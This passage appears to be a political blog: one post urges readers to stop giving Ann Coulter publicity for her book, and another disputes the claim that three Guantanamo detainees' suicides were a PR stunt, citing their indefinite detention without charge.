STOP ASKING COULTER TO EXPLAIN HER REMARKS! Geeze. The guys at FOX doing it I understand, it's an excuse to bring her on to plug her book, but for the love of god, left wing people are helping and I can't figure out why. All of your indignation, anger and disgust is doing exactly one thing, and will only ever do one thing: sell her book. This was absolutely calculated, just like: "We should invade their countries, kill their leaders and convert them to Christianity." It's crazy, it's stupid and it's obscene, and people just keep talking about it over and over again. It's crazy and stupid and obscene all the way to the bank. Stop it! She's only relevant as long as we make her relevant.

Three Prisoners Hang Themselves... To Attack Us!

Good God. First of all, this is a dumb thing to say. It would be a vaguely plausible assertion if not for a couple of things. First thing is that they'd been held for somewhere in the realm of 4 years without being charged, without being given a trial and having been told many times that they were never, ever getting out. No matter what. (The being told many times they were never getting out has been reported by the legal representation of other prisoners, so I'm extrapolating that one.) If that isn't a formula for despair then there isn't a formula for despair.

Second, and even more telling is that the US was going to release one of them, though he didn't know it. (Three Guantanamo Detainees Commit Suicide -- Democracy Now!. The obvious implication of this fact is that he wasn't in any way shape or form a terrorist or enemy combatant. The US is not in the habit of releasing people they have something on. That would mean that the assertion being forwarded here, the "PR Stunt" motive, would include a man that even the US government had admitted had no terrorist ties. That would leave his motive for suicide as, what, peer pressure?



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